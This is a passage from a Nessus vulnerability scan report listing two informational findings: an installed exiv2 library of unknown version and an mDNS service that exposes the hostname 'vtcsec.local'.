Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

See Also

https://exiv2.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2024/07/29, Modified: 2025/10/22

Plugin Output

tcp/0

```
Path : /usr/lib/x86_64-linux-gnu/libexiv2.so.14.0.0
Version : unknown
Associated Package : libexiv2-14
```

66717 - mDNS Detection (Local Network) -

Synopsis

It is possible to obtain information about the remote host.

Description

The remote service understands the Bonjour (also known as ZeroConf or mDNS) protocol, which allows anyone to uncover information from the remote host such as its operating system type and exact version, its hostname, and the list of services it is running.

This plugin attempts to discover mDNS used by hosts residing on the same network segment as Nessus.

Solution

Filter incoming traffic to UDP port 5353, if desired.

Risk Factor

None

Plugin Information

Published: 2013/05/31, Modified: 2013/05/31

Plugin Output

udp/5353/mdns

```
Nessus was able to extract the following information :

- mDNS hostname : vtcsec.local.
```